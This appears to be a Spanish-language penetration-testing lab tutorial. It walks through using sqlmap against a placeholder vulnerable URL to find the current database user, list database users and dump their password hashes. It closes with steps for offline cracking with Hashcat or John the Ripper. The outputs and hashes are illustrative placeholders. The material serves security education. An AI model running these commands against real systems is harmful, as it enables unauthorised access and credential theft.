Introducción
En este laboratorio, explorará las capacidades de sqlmap, una herramienta de pruebas de penetración de código abierto que automatiza el proceso de detección y explotación de fallos de inyección SQL y la toma de control de servidores de bases de datos. Específicamente, aprenderá a enumerar usuarios de bases de datos e intentar volcar hashes de contraseñas de una base de datos objetivo. Este es un paso crucial en muchas pruebas de penetración, ya que obtener acceso a las credenciales de usuario puede conducir a un compromiso adicional de los sistemas. Utilizará una aplicación web vulnerable simulada para practicar estas técnicas en un entorno controlado.
Obtener un punto de apoyo y confirmar privilegios suficientes
En este paso, comenzará identificando una posible vulnerabilidad de inyección SQL y confirmando que sqlmap puede interactuar con éxito con la base de datos objetivo. Esta verificación inicial es vital para asegurarse de que tiene un "punto de apoyo" y que el usuario actual tiene privilegios suficientes para realizar una mayor enumeración.
Primero, abra su terminal. El directorio de trabajo predeterminado es /home/labex/project.
Utilizaremos una URL de marcador de posición para una aplicación web vulnerable. En un escenario del mundo real, habría identificado esta URL a través de reconocimiento y escaneo de vulnerabilidades. Para este laboratorio, asumamos que nuestro objetivo es http://example.com/vulnerable.php?id=1.
Ejecute el siguiente comando de sqlmap para probar la inyección SQL y recopilar información básica sobre la base de datos. La bandera -u especifica la URL objetivo, y --current-user intenta recuperar el usuario actual de la base de datos.
sqlmap -u "http://example.com/vulnerable.php?id=1" --current-user
Verá una salida similar a esta, que indica que sqlmap está probando varios puntos de inyección y confirmando el usuario actual:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (varias pruebas e información) ...
[INFO] the back-end DBMS is MySQL
current user: 'root@localhost'
La salida current user: 'root@localhost' indica que sqlmap identificó con éxito el usuario actual de la base de datos. Esta es una buena señal, ya que root típicamente tiene altos privilegios, que serán necesarios para volcar usuarios y hashes.
Usar la bandera --users para listar todos los usuarios de la base de datos
En este paso, utilizará la bandera --users en sqlmap para enumerar todos los usuarios de la base de datos. Este es un siguiente paso común después de confirmar una vulnerabilidad de inyección SQL y privilegios suficientes. Conocer los usuarios de la base de datos puede proporcionar información valiosa para ataques posteriores o para comprender la estructura de la base de datos.
Continúe en su terminal.
Ejecute el siguiente comando de sqlmap. La bandera --users le indica a sqlmap que liste todos los usuarios en la base de datos.
sqlmap -u "http://example.com/vulnerable.php?id=1" --users
sqlmap realizará sus pruebas e intentará recuperar la lista de usuarios de la base de datos. Debería ver una salida similar a esta:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (varias pruebas e información) ...
[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'
[INFO] retrieved 3 database user(s)
Esta salida muestra que sqlmap enumeró con éxito tres usuarios de la base de datos: root@localhost, admin@localhost y webuser@localhost. Esta información es crucial para el siguiente paso, donde intentará volcar sus hashes de contraseña.
Usar la bandera --passwords para intentar volcar hashes de contraseñas
En este paso, escalará su ataque intentando volcar los hashes de contraseñas asociados con los usuarios de la base de datos enumerados. Este suele ser el objetivo final de un ataque de inyección SQL, ya que estos hashes pueden ser descifrados sin conexión para obtener contraseñas en texto plano.
Continúe en su terminal.
Ejecute el siguiente comando de sqlmap. La bandera --passwords instruye a sqlmap a recuperar los hashes de contraseñas para todos los usuarios de la base de datos.
sqlmap -u "http://example.com/vulnerable.php?id=1" --passwords
sqlmap intentará extraer los hashes de contraseñas. El proceso puede llevar algún tiempo dependiendo del tamaño y la complejidad de la base de datos. Debería ver una salida similar a esta, que muestra los usuarios recuperados y sus hashes de contraseñas correspondientes:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (varias pruebas e información) ...
[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
[INFO] retrieved 3 database user(s) password hash(es)
La salida muestra los nombres de usuario y sus hashes de contraseña asociados. Estos hashes se almacenan típicamente en un formato específico del sistema de base de datos (por ejemplo, los hashes prefijados con * de MySQL, o varios otros algoritmos de hash). Estos hashes están ahora listos para ser descifrados sin conexión.
Ejecutar la enumeración y analizar los resultados
En este paso, combinará los comandos anteriores para realizar una enumeración completa de usuarios y sus hashes de contraseñas en una sola ejecución de sqlmap. Esta es una forma más eficiente de recopilar toda la información deseada. También analizará la salida para comprender la estructura de los datos recuperados.
Continúe en su terminal.
Ejecute el siguiente comando de sqlmap, combinando las banderas --users y --passwords:
sqlmap -u "http://example.com/vulnerable.php?id=1" --users --passwords
sqlmap ejecutará su proceso, primero enumerando usuarios y luego intentando recuperar sus hashes de contraseñas. La salida consolidará la información, similar a lo que vio en los pasos anteriores, pero presentada conjuntamente.
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (varias pruebas e información) ...
[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'
[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
[INFO] retrieved 3 database user(s) password hash(es)
Analice los resultados:
- Usuarios: Puede ver claramente la lista de usuarios de la base de datos.
- Hashes: Cada usuario está asociado con un hash de contraseña. El formato de estos hashes depende del sistema de base de datos y su configuración. Por ejemplo, los hashes de MySQL a menudo comienzan con un asterisco (
*).
Este comando combinado es eficiente para recopilar ambas piezas de información de una sola vez.
Discutir los próximos pasos para el descifrado de contraseñas sin conexión con los hashes
En este paso final, comprenderá las implicaciones de volcar con éxito los hashes de contraseñas y discutirá los próximos pasos lógicos: el descifrado de contraseñas sin conexión. Si bien sqlmap le ayuda a recuperar los hashes, no los descifra. Esto generalmente se hace utilizando herramientas especializadas.
Ha recuperado con éxito hashes de contraseñas como:
*A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4(pararoot@localhost)*B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3(paraadmin@localhost)*C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4(parawebuser@localhost)
Estos hashes no son las contraseñas reales, sino una representación criptográfica de ellas. Para obtener las contraseñas en texto plano, normalmente utilizaría herramientas como Hashcat o John the Ripper.
Proceso de descifrado de contraseñas sin conexión:
- Identificar el tipo de hash: El primer paso es identificar el tipo de hash.
sqlmapa menudo proporciona pistas (por ejemplo, "hash de contraseña de MySQL"). Herramientas comoHashcattienen modos para varios tipos de hash. - Guardar hashes: Guarde los hashes recuperados en un archivo, con un hash por línea. Por ejemplo, podría crear un archivo llamado
hashes.txten su directorio~/project:*A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4 *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3 *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4 - Elegir una herramienta de descifrado:
- Hashcat: Un descifrador de contraseñas potente y rápido, a menudo utilizado con GPUs.
- John the Ripper (JtR): Otro descifrador de contraseñas popular y versátil.
- Seleccionar el método de descifrado:
- Ataque de diccionario: Utilice una lista de contraseñas comunes (una wordlist) y aplique hash a cada palabra, comparándola con los hashes objetivo.
- Ataque de fuerza bruta: Pruebe sistemáticamente todas las combinaciones de caracteres posibles hasta que se encuentre una coincidencia. Esto consume mucho tiempo para contraseñas largas o complejas.
- Ataque híbrido: Combine métodos de diccionario y fuerza bruta.
- Ejecutar el descifrado: Ejecute la herramienta elegida con el archivo de hashes y el método de descifrado seleccionado. Por ejemplo, usando
Hashcatpara hashes de MySQL (modo300):
(Nota:## This command is for illustrative purposes and will not be executed in this lab. ## hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt --forcerockyou.txtes una wordlist común, que a menudo se encuentra en/usr/share/wordlists/en Kali Linux o distribuciones similares. Es posible que necesite descomprimirla).
El descifrado exitoso revelará las contraseñas en texto plano, que luego se pueden usar para obtener acceso adicional a la base de datos u otros sistemas donde estas credenciales puedan ser reutilizadas. Esto resalta la importancia de contraseñas seguras y únicas y algoritmos de hash adecuados para la seguridad.
Resumen
En este laboratorio, aprendió con éxito a utilizar sqlmap para enumerar usuarios de bases de datos y volcar sus hashes de contraseñas desde una aplicación web vulnerable simulada. Comenzó obteniendo un punto de apoyo y confirmando privilegios suficientes, luego procedió a listar todos los usuarios de la base de datos utilizando la bandera --users, y finalmente intentó volcar los hashes de contraseñas utilizando la bandera --passwords. También aprendió a combinar estas operaciones para lograr eficiencia y analizó la salida.
Comprender cómo extraer esta información sensible es una habilidad crítica en las pruebas de penetración. Los hashes de contraseñas recuperados son la clave para la siguiente fase: el descifrado de contraseñas sin conexión, que puede revelar credenciales en texto plano y potencialmente conducir a un compromiso más profundo del sistema. Este laboratorio proporcionó una experiencia práctica y directa con una herramienta poderosa en el arsenal del hacking ético.
